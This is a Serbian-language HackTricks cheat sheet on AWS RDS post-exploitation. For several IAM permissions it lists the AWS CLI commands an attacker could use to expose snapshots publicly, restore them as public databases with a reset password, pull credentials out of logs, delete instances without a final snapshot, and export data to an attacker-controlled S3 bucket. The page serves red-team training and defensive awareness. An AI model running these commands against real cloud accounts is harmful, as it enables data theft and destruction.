AWS - RDS Post Exploitation

Reading time: 4 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

RDS

Za više informacija pogledajte:

AWS - Relational Database (RDS) Enum

rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance

Ako napadač ima dovoljno dozvola, mogao bi da napravi DB javno dostupnim kreiranjem snimka DB-a, a zatim javno dostupnog DB-a iz snimka.

bash
aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins

rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot

Napadač sa ovim dozvolama mogao bi napraviti snimak DB i učiniti ga javnim dostupnim. Tada bi mogao jednostavno da kreira DB iz tog snimka u svom nalogu.

Ako napadač nema rds:CreateDBSnapshot, i dalje bi mogao učiniti druge kreirane snimke javnim.

bash
# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}

rds:DownloadDBLogFilePortion

Napadač sa rds:DownloadDBLogFilePortion dozvolom može preuzeti delove log fajlova RDS instance. Ako su osetljivi podaci ili pristupne kredencijale slučajno zabeleženi, napadač bi mogao potencijalno iskoristiti te informacije za eskalaciju svojih privilegija ili izvršavanje neovlašćenih radnji.

bash
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text

Potencijalni uticaj: Pristup osetljivim informacijama ili neovlašćene radnje korišćenjem provaljenih akreditiva.

rds:DeleteDBInstance

Napadač sa ovim dozvolama može napasti postojeće RDS instance.

bash
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot

Potencijalni uticaj: Brisanje postojećih RDS instanci i potencijalni gubitak podataka.

rds:StartExportTask

napomena

TODO: Testirati

Napadač sa ovom dozvolom može izvesti snimak RDS instance u S3 kantu. Ako napadač ima kontrolu nad odredišnom S3 kantom, može potencijalno pristupiti osetljivim podacima unutar izvezenog snimka.

bash
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id

Potencijalni uticaj: Pristup osetljivim podacima u eksportovanom snimku.

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks